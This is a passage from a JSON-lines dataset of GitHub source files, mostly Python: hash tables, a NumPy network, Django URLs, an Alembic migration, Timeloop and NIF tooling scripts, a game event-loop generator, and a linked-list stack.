addr>=(1<<18) or addr<0: return None\n if self.bad[addr] == None: return None\n if len(self.bad[addr])<=step: return None\n if step<0: return None\n res = self.bad[addr].pop(step)\n if self.bad[addr] == []:\n self.bad[addr] = None\n self.uniBad -= 1\n return res\n def popGood(self, addr, step):\n \"\"\"! Удаляет элемент таблицы сложного хэша.\n \n @param addr Хэш искомого элемента.\n @param step Сдвиг в цепи элементов.\n \n @return Возвращает удаленный элемент, None при ошибке.\n \"\"\"\n if addr>=(1<<18) or addr<0: return None\n if self.good[addr] == None: return None\n if len(self.good[addr])<=step: return None\n if step<0: return None\n res = self.good[addr].pop(step)\n if self.good[addr] == []:\n self.good[addr] = None\n self.uniGood -= 1\n return res\n \n def searchBad(self, elem):\n \"\"\"! Поиск элемента в таблице простого хэша.\n \n @param elem Искомый элемент.\n \n @return При успехе, возвращает пару (хэш, смещение), иначе '-1'.\n \"\"\"\n addr = HashTable.badHash(elem)\n if self.bad[addr] == None:\n return -1\n for i in range(len(self.bad[addr])):\n if self.bad[addr][i].equal(elem):\n return (addr, i)\n return -1\n def searchGood(self, elem):\n \"\"\"! Поиск элемента в таблице простого хэша.\n \n @param elem Искомый элемент.\n \n @return При успехе, возвращает пару (хэш, смещение), иначе '-1'.\n \"\"\"\n addr = HashTable.goodHash(elem)\n if self.good[addr] == None:\n return -1\n for i in range(len(self.good[addr])):\n if self.good[addr][i].equal(elem):\n return (addr, i)\n return -1\n \n def collisionsBad(self):\n \"\"\"! Функция просчитывает текущее число коллизий в таблице простого хэша.\n \n @return Число коллизий.\n \"\"\"\n res = 0\n for i in self.bad:\n if i == None: continue\n res += len(i)-1\n return res\n def collisionsGood(self):\n \"\"\"! Функция просчитывает текущее число коллизий в таблице сложного хэша.\n \n @return Число коллизий.\n \"\"\"\n res = 0\n for i in self.good:\n if i == None: continue\n res += len(i)-1\n return res\n \n#класс\nclass MyObject:\n \"\"\"! Класс объектов, требуемых по заданию первой лабораторной работы.\n \n В предыдущей лабораторной был убран генератор класса как таковой, так как он полностью считывается с файла. Поэтому вводить вычисление хэша в конструктор не требуется. Однако это актуально для задачи чтения.\n \"\"\"\n def __init__(self):\n \"\"\"! Конструктор класса MyObject\n Конструктор класса объявляет переменные, которые в нем есть. Не имеет параметров.\n \"\"\"\n self.fio, self.num, self.din, self.dou, self.pay, \\\n self.goodHash, self.badHash = \\\n None, None, None, None, None, None, None\n \n #key\n @property\n def key(self):\n \"\"\"! Выделенное свойство класса - ключ\n Свойство созданно выделенным, чтобы в разы упросить обращение к нему, подмену для тестов, в то же время не требуя дополнительных ресурсов.\n \"\"\"\n return self.fio\n \n #==\n def __eq__(self, other):\n \"\"\"! Проверка на равенство.\n \n @param other Объект сравнения класса MyObject.\n \n @return bool.\n \"\"\"\n return self.key==other.key\n #>=\n def __ge__(self, other):\n \"\"\"! Проверка на больше или равно.\n \n @param other Объект сравнения класса MyObject.\n \n @return bool.\n \"\"\"\n return self.key>=other.key\n #>\n def __gt__(self, other):\n \"\"\"! Проверка на больше.\n \n @param other Объект сравнения класса MyObject.\n \n @return bool.\n \"\"\"\n return self.key>other.key\n #<=\n def __le__(self, other):\n \"\"\"! Проверка на меньше или равно.\n \n @param other Объект сравнения класса MyObject.\n \n @return bool.\n \"\"\"\n return self.key<=other.key\n #<\n def __lt__(self, other):\n \"\"\"! Проверка на меньше.\n \n @param other Объект сравнения класса MyObject.\n \n @return bool.\n \"\"\"\n return self.key (mini_batch X O)\n W1 = np.random.randn(I, H)\n b1 = np.random.randn(H)\n W2 = np.random.randn(H, O)\n b2 = np.random.randn(O)\n\n # 三层,两层仿射中间夹一层激活\n self.layers = [\n Affine(W1, b1),\n Sigmoid(),\n Affine(W2, b2)\n ]\n\n # 权重\n self.params = []\n for layer in self.layers:\n self.params += layer.params\n\n # 前向传播\n def predict(self, x):\n for layer in self.layers:\n x = layer.forward(x)\n return x","repo_name":"qitianyuu/DeepLearnWithNumpy","sub_path":"c01/forward_net.py","file_name":"forward_net.py","file_ext":"py","file_size_in_byte":1449,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"35902694990","text":"from django.conf import settings\nfrom django.conf.urls.static import static\nfrom django.contrib import admin\nfrom django.urls import include, path\nfrom django.views import defaults as default_views\nfrom django.views.generic import TemplateView, RedirectView\nfrom rest_framework.authtoken.views import obtain_auth_token\nfrom django.contrib.flatpages.views import flatpage\nfrom backend.users.admin import constellation_admin as cl8_admin\nfrom backend.users.views import sample_csv_template\n\nurlpatterns = [\n # serve the vue template instead of the default home\n path(\"\", TemplateView.as_view(template_name=\"pages/vue.html\"), name=\"home\"),\n # Django Admin, use {% url 'admin:index' %}\n path(\"admin/\", cl8_admin.urls),\n path(\"advanced-admin/\", admin.site.urls),\n path(\n \"admin/import-csv/sample.csv\", sample_csv_template, name=\"sample-csv-template\"\n ),\n # User management\n path(\"users/\", include(\"backend.users.urls\", namespace=\"users\")),\n path(\"accounts/\", include(\"allauth.urls\")),\n path(\"about/\", flatpage, {\"url\": \"/about/\"}, name=\"about\"),\n path(\"privacy/\", flatpage, {\"url\": \"/privacy/\"}, name=\"privacy\"),\n # Your stuff: custom urls includes go here\n path(\n \"favicon.ico\", RedirectView.as_view(url=\"/static/images/favicons/favicon.ico\")\n ),\n] + static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)\n\n# API URLS\nurlpatterns += [\n # API base url\n path(\"api/\", include(\"config.api_router\")),\n # DRF auth token\n path(\"auth-token/\", obtain_auth_token),\n path(\"\", include(\"backend.users.api.passwordless_urls\")),\n]\n# + [\n# path('', TemplateView.as_view(template_name=\"pages/vue.html\")),\n# path('', TemplateView.as_view(template_name=\"pages/vue.html\"))\n# ]\n\n\nif settings.DEBUG:\n # This allows the error pages to be debugged during development, just visit\n # these url in browser to see how these error pages look like.\n urlpatterns += [\n path(\n \"400/\",\n default_views.bad_request,\n kwargs={\"exception\": Exception(\"Bad Request!\")},\n ),\n path(\n \"403/\",\n default_views.permission_denied,\n kwargs={\"exception\": Exception(\"Permission Denied\")},\n ),\n path(\n \"404/\",\n default_views.page_not_found,\n kwargs={\"exception\": Exception(\"Page not Found\")},\n ),\n path(\"500/\", default_views.server_error),\n ]\n if \"debug_toolbar\" in settings.INSTALLED_APPS:\n import debug_toolbar\n\n urlpatterns = [path(\"__debug__/\", include(debug_toolbar.urls))] + urlpatterns\n","repo_name":"Synchro/constellate","sub_path":"backend/config/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2620,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"78"} +{"seq_id":"36868485753","text":"# coding: utf8\n\n\ndef index(): return dict(message=\"hello from seo.py\")\n\n\ndef split():\n presentation = db(db.plugin_presentation.name == request.args[0]).select().first()\n splitted = presentation.markmin.split(\"\")\n db(db.plugin_slide.plugin_presentation_id == presentation.id).delete()\n \n for n, markmin in enumerate(splitted):\n db.plugin_slide.insert(\n presentation_id=presentation.id,\n markmin=markmin,\n )\n return dict(n=n)\n \n\ndef show():\n presentation = db(db.plugin_presentation.name == request.args[0]).select().first()\n if presentation:\n slides = db(db.plugin_slide.presentation_id == presentation.id).select()\n \n response.title = presentation.title\n response.description = presentation.description\n response.keywords = presentation.keywords\n response.author = presentation.author\n else:\n response.title = 'Presentation not loaded'\n response.description = 'Presentation not loaded'\n response.keywords = 'Presentation not loaded'\n response.author = 'Presentation not loaded'\n slides = None\n\n return dict(slides=slides)\n","repo_name":"DonaldMcC/gdms","sub_path":"controllers/plugin_ndspresent_slides.py","file_name":"plugin_ndspresent_slides.py","file_ext":"py","file_size_in_byte":1185,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"78"} +{"seq_id":"73649543611","text":"\"\"\"empty message\n\nRevision ID: ae71f340e800\nRevises: a69a3ac2098e\nCreate Date: 2017-11-21 20:29:33.087493\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'ae71f340e800'\ndown_revision = 'a69a3ac2098e'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('chats',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('created_by', sa.Integer(), nullable=False),\n sa.Column('created_at', sa.DateTime(), nullable=False),\n sa.ForeignKeyConstraint(['created_by'], ['users.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_table('messages',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('text', sa.Text(), nullable=False),\n sa.Column('chat_id', sa.Integer(), nullable=False),\n sa.Column('created_by', sa.Integer(), nullable=False),\n sa.Column('created_at', sa.DateTime(), nullable=False),\n sa.ForeignKeyConstraint(['chat_id'], ['chats.id'], ),\n sa.ForeignKeyConstraint(['created_by'], ['users.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_table('messages')\n op.drop_table('chats')\n # ### end Alembic commands ###\n","repo_name":"farismosman/chat-app","sub_path":"migrations/versions/ae71f340e800_.py","file_name":"ae71f340e800_.py","file_ext":"py","file_size_in_byte":1359,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"24876226210","text":"import functools\nimport inspect\nimport os\nimport subprocess\nimport sys\nimport timeit\nimport argparse\nimport copy\nimport re\n\nimport libconf\nimport yaml\n\nfrom common import *\n\n# Output file names.\nout_prefix = \"timeloop-mapper.\"\nlog_file_name = out_prefix + \"log\"\nstats_file_name = out_prefix + \"stats.txt\"\nxml_file_name = out_prefix + \"map+stats.xml\"\nmap_txt_file_name = out_prefix + \"map.txt\"\nmap_cfg_file_name = out_prefix + \"map.cfg\"\nmap_cpp_file_name = out_prefix + \"map.cpp\"\noutput_file_names = [log_file_name,\n stats_file_name,\n xml_file_name,\n map_txt_file_name,\n map_cfg_file_name,\n map_cpp_file_name]\n\n# dimension conversion that maps a WU problem to FW problem\nwu2fw = {'P': 'R',\n 'Q': 'S',\n 'R': 'P',\n 'S': 'Q',\n 'C': 'K',\n 'K': 'N',\n 'N': 'C'}\n\n\ndef prod(l):\n return functools.reduce(lambda x, y: x * y, l)\n\n\ndef rewrite_workload_bounds(src, dst, workload_bounds, model, layer, batchsize, dataflow, phase, terminate, threads, synthetic, sparsity, save, replication, array_width, glb_scaling, dense): # backward_padding\n w, h, c, n, k, s, r, wpad, hpad, wstride, hstride = workload_bounds\n n = batchsize\n q = int((w - s + 2 * wpad) / wstride) + 1\n p = int((h - r + 2 * hpad) / hstride) + 1\n\n wu_equiv = k != 'D' and phase == 'wu'\n env_list = {}\n\n if not wu_equiv:\n print('Workload Dimensions:')\n print(' W =', w)\n print(' H =', h)\n print(' C =', c)\n print(' K =', k)\n print(' S =', s)\n print(' R =', r)\n print(' P =', p)\n print(' Q =', q)\n print(' N =', n)\n print(' W-pad =', wpad)\n print(' H-pad =', hpad)\n print(' W-stride =', wstride)\n print(' H-stride =', hstride)\n print()\n else:\n print('Equivalence Test: can we convert WU problem to FW and use cnn-layer.cfg? (at least in the dense case?)')\n print('Workload Dimensions:')\n print(' W =', w)\n print(' H =', h)\n print(f' C <- N {n}')\n print(f' K <- C {c}')\n print(f' S <- Q {q}')\n print(f' R <- P {p}')\n print(f' P <- R {r}')\n print(f' Q <- S {s}')\n print(f' N <- K {k}')\n print(' W-pad =', wpad)\n print(' H-pad =', hpad)\n print(' W-stride =', wstride)\n print(' H-stride =', hstride)\n print()\n env_list['TIMELOOP_EQUIVLENT_WU'] = 'True'\n\n with open(src, \"r\") as f:\n if \"cfg\" in src:\n config = libconf.load(f)\n elif \"yaml\" in src:\n config = yaml.load(f, Loader=yaml.SafeLoader)\n\n config['problem']['shape'] = shapes[phase]\n if wu_equiv:\n config['problem']['shape'] = shapes['fw']\n\n if k == 'D':\n depthwise = True\n adapt_depthwise_config(config)\n else:\n depthwise = False\n config['problem']['shape'] += '.yaml'\n\n if wu_equiv:\n dataflow = convert_dataflow(dataflow)\n\n if phase == 'wu':\n remove_block_constraint(config)\n\n if depthwise:\n if dataflow == 'CK':\n dataflow = 'CN'\n dataflow = dataflow.replace('K', 'C')\n\n rewrite_dataflow(config, dataflow, replication, array_width)\n\n rewrite_mesh(config, array_width)\n\n if glb_scaling:\n rewrite_glb_size(config, array_width)\n\n if not wu_equiv:\n config['problem']['R'] = r\n config['problem']['S'] = s\n config['problem']['P'] = p\n config['problem']['Q'] = q\n config['problem']['C'] = c\n if not depthwise:\n config['problem']['K'] = k\n config['problem']['N'] = n\n else:\n config['problem']['R'] = p\n config['problem']['S'] = q\n config['problem']['P'] = r\n config['problem']['Q'] = s\n config['problem']['C'] = n\n config['problem']['K'] = c\n config['problem']['N'] = k\n config['problem']['Wstride'] = wstride\n config['problem']['Hstride'] = hstride\n config['problem']['Wdilation'] = 1\n config['problem']['Hdilation'] = 1\n config['mapper']['model-name'] = model\n config['mapper']['layer-name'] = layer\n\n if terminate is not None:\n config['mapper']['victory-condition'] = terminate\n if threads is not None:\n config['mapper']['num-threads'] = threads\n\n # rewrite synthetic mask configuration\n if not synthetic:\n try:\n config['mapper'].pop('mask-synthetic')\n except KeyError:\n pass\n else:\n config['mapper']['mask-synthetic'] = {}\n if sparsity is not None:\n config['mapper']['mask-synthetic']['target-sparsity'] = sparsity\n if save is not None:\n config['mapper']['mask-synthetic']['synthetic-mask-path'] = save\n\n if dense:\n opt_metrics = []\n for opt in config['mapper']['optimization-metrics']:\n opt_metrics.append(opt.split('-')[-1])\n config['mapper']['optimization-metrics'] = opt_metrics\n\n with open(dst, \"w\") as f:\n if \"cfg\" in src:\n f.write(libconf.dumps(config))\n elif \"yaml\" in src:\n f.write(yaml.dump(config))\n\n return env_list\n\n\ndef convert_dataflow(dataflow):\n pre_convert_dataflow = copy.copy(dataflow)\n converted_dataflow = []\n converted_dataflow.append(wu2fw[pre_convert_dataflow[0]])\n converted_dataflow.append(wu2fw[pre_convert_dataflow[1]])\n converted = ''\n converted = converted.join(converted_dataflow)\n print(f'convert from {dataflow} to {converted}')\n return converted\n\n\ndef remove_block_constraint(config): # or possibily remove\n for constraint in config['mapspace']['constraints']:\n if constraint['type'] == 'temporal' and constraint['target'] == 'RegFile':\n try:\n constraint.pop('factors')\n except KeyError:\n pass\n\n\ndef rewrite_dataflow(config, dataflow, replication, array_width):\n # loop through constaints, and make sure there is only 1 spatial type constraint\n # dingqing FIXME: not general for more spatial level architecture config\n num_spatial = 0\n for constraint in config['mapspace']['constraints']:\n if num_spatial > 1:\n raise Exception(\"More than one spatial level! Check the config and the scripts.\")\n if constraint['type'] == 'spatial':\n num_spatial += 1\n\n # determine if it is possible to replicate\n possible2replicate = replication and (not config['problem'][dataflow[0]] > array_width / 2 or not config['problem'][dataflow[1]] > array_width / 2)\n print('possible2replicate?', possible2replicate)\n factors = constraint['factors'].split(' ')\n new_factor = []\n for factor in factors:\n if factor[0] in dataflow:\n # look at problem size\n new_factor.append(factor[0] + f'{array_width}')\n elif not possible2replicate:\n new_factor.append(factor[0] + '1')\n constraint['factors'] = ' '.join(new_factor)\n\n # rewrite permutation\n # emmmm ugly\n non_spatial_dims = constraint['permutation'].replace(dataflow[0], '').replace(dataflow[1], '')\n constraint['permutation'] = dataflow[0] + non_spatial_dims + dataflow[1]\n\n\ndef rewrite_mesh(config, array_width):\n # honestly, the structure is kinda unnatural...\n pe_subtree = config['architecture']['subtree'][0]['subtree'][0] # FIXME: this is not generic enough\n pe_name = pe_subtree['name']\n num_pe_prev = re.findall(r'\\d+', pe_name)[-1]\n num_pe_new = array_width * array_width - 1\n pe_subtree['name'] = pe_name.replace(num_pe_prev, f'{num_pe_new}')\n\n # iterate over RF and PE\n for component in pe_subtree['local']:\n component['attributes']['meshX'] = array_width\n\n\ndef rewrite_glb_size(config, array_width):\n scaling_factor = array_width / 16\n # honestly, the structure is kinda unnatural...\n sys_subtree = config['architecture']['subtree'][0] # FIXME: this is not generic enough\n for comp in sys_subtree['local']:\n if comp['name'] == 'GlobalBuffer':\n comp['attributes']['depth'] = int(comp['attributes']['depth'] * scaling_factor)\n comp['attributes']['n_banks'] = int(comp['attributes']['n_banks'] * scaling_factor)\n\n\ndef adapt_depthwise_config(config):\n config['problem']['shape'] += '-depthwise.yaml'\n try:\n config['problem'].pop('K')\n except KeyError:\n pass\n for constraint in config['mapspace']['constraints']:\n if 'factors' in constraint:\n factors = constraint['factors'].split(' ')\n new_factor = [x for x in factors if x[0] != 'K']\n constraint['factors'] = ' '.join(new_factor)\n if 'permutation' in constraint:\n constraint['permutation'] = ''.join([x for x in constraint['permutation'] if x != 'K'])\n\n\ndef run_timeloop(dirname, configfile, logfile='timeloop.log', env_list={}, dense=False, dense_dirname='dense-timeloop'):\n configfile_path = os.path.join(dirname, os.path.basename(configfile))\n logfile_path = os.path.join(dirname, logfile)\n\n print('Running timeloop to get mapping')\n\n def stmt():\n with open(logfile_path, \"w\") as outfile:\n this_file_path = os.path.abspath(inspect.getfile(inspect.currentframe()))\n if not dense:\n timeloop_executable_location = os.path.join(\n os.path.dirname(this_file_path), '..', 'build', 'timeloop-mapper')\n else:\n timeloop_executable_location = os.path.join(\n os.path.dirname(this_file_path), '..', '..', dense_dirname, 'build', 'timeloop-mapper')\n status = subprocess.call([timeloop_executable_location, configfile_path], stdout=outfile, stderr=outfile, env=dict(os.environ, **env_list))\n # status = subprocess.call([timeloop_executable_location, configfile_path, 'ERT.yaml'], stdout=outfile, stderr=outfile)\n if status != 0:\n subprocess.check_call(['cat', logfile_path])\n print('Did you remember to build timeloop and set up your environment properly?')\n sys.exit(1)\n t = timeit.Timer(stmt)\n time = t.timeit(1)\n print('Time to run timeloop = ', time)\n\n # Move timeloop output files to the right directory\n for f in output_file_names:\n if os.path.exists(f):\n os.rename(f, dirname + '/' + f)\n","repo_name":"compstruct/procrustes-timeloop-model","sub_path":"scripts/timeloop.py","file_name":"timeloop.py","file_ext":"py","file_size_in_byte":10616,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"15264573759","text":"from pyffi.formats.nif import NifFormat\nfrom os import path\nfrom sys import argv, exit, stdout\n\n# UIX_PATH = \"../../../Private/UIX/UIX FILES/Data Files/\"\n# UIX_PATH = \"../../../Private/UIX/UIX FILES/Data Files/Meshes/TOE/RedMoonGa01.NIF\"\n\n\ndef find_external_assets(data, assets):\n \"\"\" recursively find any external assets linked into a nif\"\"\"\n\n if isinstance(data, list):\n for node in data:\n if node.__class__.__name__ == 'NiNode':\n find_external_assets(node.children, assets)\n elif node.__class__.__name__ == 'NiTriShape':\n find_external_assets(node.properties, assets)\n else:\n find_external_assets(node, assets)\n\n if data.__class__.__name__ == 'NiSourceTexture':\n assets.append(data.file_name)\n elif data.__class__.__name__ == 'NiTexturingProperty':\n if data.has_base_texture:\n find_external_assets(data.base_texture.source, assets)\n if data.has_bump_map_texture:\n find_external_assets(data.bump_map_texture.source, assets)\n if data.has_dark_texture:\n find_external_assets(data.dark_texture.source, assets)\n if data.has_gloss_texture:\n find_external_assets(data.gloss_texture.source, assets)\n if data.has_glow_texture:\n find_external_assets(data.glow_texture.source, assets)\n if data.has_normal_texture:\n find_external_assets(data.normal_texture.source, assets)\n if data.has_detail_texture:\n find_external_assets(data.detail_texture.source, assets)\n if data.has_unknown_2_texture:\n find_external_assets(data.unknown_2_texture.source, assets)\n if data.has_decal_0_texture:\n find_external_assets(data.decal_0_texture.source, assets)\n if data.has_decal_1_texture:\n find_external_assets(data.decal_1_texture.source, assets)\n if data.has_decal_2_texture:\n find_external_assets(data.decal_2_texture.source, assets)\n if data.has_decal_3_texture:\n find_external_assets(data.decal_3_texture.source, assets)\n\n\ndef walk_nif(nif_path, use_stdout=True):\n if not path.exists(nif_path):\n exit(\"Path `{0}` not found.\".format(nif_path))\n\n all_assets = []\n for stream, data in NifFormat.walkData(nif_path):\n try:\n if use_stdout:\n print(stream.name, sep='', end=', ', file=stdout, flush=True)\n data.read(stream)\n assets = []\n find_external_assets(data.roots, assets)\n assets = set(assets) # remove duplicates\n assets_string = \"{0}\".format(b', '.join(assets).decode(encoding=\"ISO-8859-1\"))\n all_assets.append(assets_string)\n if use_stdout:\n print(assets_string, sep=', ', end='\\n', file=stdout, flush=True)\n except ValueError as ex:\n print(\"\\n Error with {0}: {1}\".format(stream.name, str(ex.args)), sep='', end='\\n', file=stdout, flush=True)\n except Exception as ex:\n print(ex)\n raise\n return all_assets\n\n\nif __name__ == \"__main__\":\n if len(argv) == 2:\n walk_nif(argv[1])\n else:\n exit(\"No path given.\")\n","repo_name":"OpenMW/UIX-R","sub_path":"nif_walker.py","file_name":"nif_walker.py","file_ext":"py","file_size_in_byte":3218,"program_lang":"python","lang":"en","doc_type":"code","stars":32,"dataset":"github-code","pt":"78"} +{"seq_id":"45986727642","text":"from datetime import datetime\nfrom database import db\n\nclass Payment(db.Document):\n \"\"\"\n Payment class representing a payment made by a user to a vendor for a specific event.\n \n :param amount: The amount paid in the payment\n :type amount: int\n :param date: The date and time the payment was made\n :type date: datetime\n :param user: The user that made the payment\n :type user: ObjectIdField(User)\n :param vendor: The vendor that received the payment\n :type vendor: ObjectIdField(Vendor)\n :param event: The event the payment is for\n :type event: ObjectIdField(Event)\n \"\"\"\n user_id = db.ObjectIdField(required=True)\n vendor_id = db.ObjectIdField(required=True)\n event = db.ObjectIdField(required=True)\n amount = db.FloatField(min_value=0.0, max_value=999999.99,required=True)\n date = db.DateTimeField(default=datetime.utcnow, required=True)\n","repo_name":"mcmxciillan/planner-pp","sub_path":"planner-flask/models/payment.py","file_name":"payment.py","file_ext":"py","file_size_in_byte":895,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"45660710402","text":"import os\nimport sys\n\ndef plus_minus(arr):\n\tcount = len(arr)\n\tpositve, negative, zero = 0, 0, 0\n\tfor x in arr:\n\t\tpositve += (1 if x > 0 else 0)\n\t\tnegative += (1 if x < 0 else 0)\n\t\tzero += (1 if x == 0 else 0)\n\treturn (positve/count, negative/count, zero/count)\n\n\nif __name__ == '__main__':\n\tarr = [-4, 3, -9, 0, 4, 1]\n\tresult = plus_minus(arr)\n\tprint(result)","repo_name":"hokagequan/hackrank","sub_path":"src/plus_minus.py","file_name":"plus_minus.py","file_ext":"py","file_size_in_byte":358,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"41498981682","text":"import random\r\nfrom random import randint\r\n\r\nwith open('./racing_maps.txt') as f:\r\n racing_maps = f.read().splitlines()\r\n\r\nwith open('./arena_maps.txt') as f:\r\n arena_maps = f.read().splitlines()\r\n\r\nwith open('./figure_8_maps.txt') as f:\r\n figure_8_maps = f.read().splitlines()\r\n\r\n\r\nclass_restrictions = ['a','b','c','a','b','c','special']\r\nfigure_8_class_restrictions = ['a','b','c','special']\r\narena_restrictions = ['school bus','lawn mower','bumper car','honey pot']\r\nfigure_8_restrictions = ['school bus','school bus','school bus','school bus','motor home','sofa car','big rig']\r\nracing_restrictions = ['school bus','school bus','school bus','school bus','school bus','school bus','school bus','school bus','motor home','sofa car','bugzilla','big rig']\r\nlaps = ['5', '6', '7']\r\n\r\nx = 0\r\nwhile x <= 100:\r\n y = randint(0,100)\r\n\r\n if y > 90:\r\n z_map = random.choice(arena_maps)\r\n\r\n z_class_restriction = random.choice(class_restrictions)\r\n z_car_restriction = ''\r\n if z_class_restriction == 'special':\r\n z_class_restriction = ''\r\n z_car_restriction = random.choice(arena_restrictions)\r\n print('el_add=',z_map)\r\n print('el_gamemode=derby deathmatch')\r\n print('el_bots=',randint(10,20))\r\n print('el_car_class_restriction=',z_class_restriction)\r\n print('el_car_restriction=',z_car_restriction)\r\n print('')\r\n \r\n elif y < 20:\r\n z_map = random.choice(figure_8_maps)\r\n\r\n z_class_restriction = random.choice(figure_8_class_restrictions)\r\n z_car_restriction = ''\r\n if z_class_restriction == 'special':\r\n z_class_restriction = ''\r\n z_car_restriction = random.choice(figure_8_restrictions)\r\n \r\n print(\"el_add=\",z_map)\r\n print('el_gamemode=racing')\r\n print('el_laps=12')\r\n print('el_bots=24')\r\n print('el_car_class_restriction=',z_class_restriction)\r\n print('el_car_restriction=',z_car_restriction)\r\n print('')\r\n \r\n else:\r\n z_map = random.choice(racing_maps)\r\n\r\n z_class_restriction = random.choice(class_restrictions)\r\n z_car_restriction = ''\r\n if z_class_restriction == 'special':\r\n z_class_restriction = ''\r\n z_car_restriction = random.choice(racing_restrictions)\r\n \r\n print(\"el_add=\",z_map)\r\n print('el_gamemode=racing')\r\n print('el_laps=5')\r\n print('el_bots=',randint(6,20))\r\n print('el_car_class_restriction=',z_class_restriction)\r\n print('el_car_restriction=',z_car_restriction)\r\n print('')\r\n\r\n # racing_map = random.choice(racing_maps)\r\n # print(\"el_add=\",racing_map)\r\n # print(y)\r\n x += 1\r\n\r\n\r\n\r\n\r\n# Event Loop (el) settings.\r\n#-------------------------------------------------------------------------------\r\n# If enabled, server will automatically rotate pre-configured events.\r\n# Using \"el_add=trackname\" you can add as many events to the rotation as you wish.\r\n# Note that \"el_*\" parameters override corresponding global settings for the event.\r\n# Remove the first # from setup parameters to enable.\r\n# Use the console command /eventloop to enable/disable rotation.\r\n\r\n## Add first event to Loop\r\n#el_add=gravel1_main_loop\r\n#el_gamemode=racing\r\n#el_laps=3\r\n#el_bots=3\r\n#el_car_reset_disabled=0\r\n#el_wrong_way_limiter_disabled=0\r\n#el_car_class_restriction=a\r\n#el_car_restriction=\r\n#el_weather=\r\n\r\n## Add second event to Loop\r\n#el_add=tarmac1_main_circuit\r\n#el_gamemode=team race\r\n#el_num_teams=2\r\n#el_laps=3\r\n#el_bots=3\r\n#el_car_reset_disabled=0\r\n#el_wrong_way_limiter_disabled=0\r\n#el_car_class_restriction=a\r\n#el_car_restriction=\r\n#el_weather=\r\n\r\n## Add third event to Loop\r\n#el_add=speedway2_demolition_arena\r\n#el_gamemode=derby deathmatch\r\n#el_bots=3\r\n#el_car_reset_disabled=0\r\n#el_car_class_restriction=a\r\n#el_car_restriction=\r\n#el_weather=","repo_name":"TheLysdexicOne/wreckfest-server","sub_path":"eventloops/eventloop_creator.py","file_name":"eventloop_creator.py","file_ext":"py","file_size_in_byte":3892,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"78"} +{"seq_id":"23396110202","text":"## class representing a NODE\nclass Node(object):\n def __init__(self, value):\n self.value = value\n self.next = None\n\n## Class representing Linked list\nclass LinkedList:\n def __init__(self, head=None):\n self.head = head\n pass\n \n def append(self, node):\n \"\"\"\n append a node to list\n \"\"\"\n current = self.head\n if self.head:\n while current.next:\n current = current.next\n current.next = node\n else:\n self.head = node\n \n def get_position(self, position):\n \"\"\"\n get element at specific index\n \"\"\"\n counter = 0\n current = self.head\n if not self.head or position < 0 or position > self.size():\n return None\n \n while current:\n if counter == position:\n return current\n current = current.next\n counter +=1\n return None\n \n def size(self):\n \"\"\"\n get the size of linked list\n \"\"\"\n i = 0\n if not self.head:\n return 0\n \n current = self.head\n while current:\n i += 1\n current = current.next\n \n return i\n \n def delete(self, value):\n \"\"\"\n delete the first occuring value\n \"\"\"\n if not self.head:\n return None\n current = self.head\n previous = None\n \n while current.value != value and current.next:\n previous = current\n current = current.next\n \n if current.value == value:\n if previous:\n previous.next = current.next\n else:\n self.head = current.next\n \n def insert(self, node, position):\n \"\"\"\n inserting element at particular location\n \"\"\"\n counter = 0\n current = self.head\n if position > 0:\n while current and counter < position:\n if counter == position - 1:\n node.next = current.next\n current.next = node\n current = current.next\n counter += 1\n elif position == 0:\n node.next = self.head\n self.head = node\n \n def __str__(self):\n if self.head:\n data = []\n current = self.head\n while current:\n data.append(str(current.value))\n current = current.next\n return \" -> \".join(data)\n else:\n return \"No element\"\n pass\n\n\nclass Stack:\n def __init__(self):\n self.stack = LinkedList()\n \n def echo(self):\n print(self.stack)\n pass\n \n def size(self):\n \"\"\"\n get the size of stack\n \"\"\"\n return self.stack.size()\n \n def empty(self):\n \"\"\"\n check if stack is empty\n \"\"\"\n return self.size() == 0\n \n def peek(self):\n \"\"\"\n get the top most element\n \"\"\"\n return self.stack.get_position(0).value\n \n def pop(self):\n \"\"\"\n remove element from top\n \"\"\"\n v = self.peek()\n self.stack.delete(v)\n return v\n \n def push(self, node):\n \"\"\"\n add element to top\n \"\"\"\n self.stack.insert(node, 0)\n pass\n \n \nmyStack = Stack()\n\n# creating values\nn1 = Node(10)\nn2 = Node(20)\nn3 = Node(30)\n\n# Operating\nprint(\"[1] Stack is empty\" if myStack.empty() else \"[1] Stack is not empty\")\n\nprint(\"[2] Pushing {} to stack\".format(n1.value))\nmyStack.push(n1)\nprint(\"[3] Pushing {} to stack\".format(n2.value))\nmyStack.push(n2)\n\nprint(\"[4] Stack is empty\" if myStack.empty() else \"[4] Stack is not empty\")\n\nprint(\"[5] Current Size of Stack is\", myStack.size())\n\nprint(\"[6] Peeking value\", myStack.peek())\n\nprint(\"[7] Poping value {}\".format(myStack.pop()))\n\nprint(\"[8] Current Size of Stack is\", myStack.size())\n\nprint(\"[9] Pushing {} to stack\".format(n2.value))\nmyStack.push(n3)\n\nprint(\"[!] The Stack is\")\nmyStack.echo()\n","repo_name":"sukhdeepg/Hacktoberfest","sub_path":"Python/Stack.py","file_name":"Stack.py","file_ext":"py","file_size_in_byte":4091,"program_lang":"python","lang":"en","doc_type":"code","stars":28,"dataset":"github-code","pt":"78"} +{"seq_id":"446660346","text":"from datetime import timedelta\nimport os\nimport 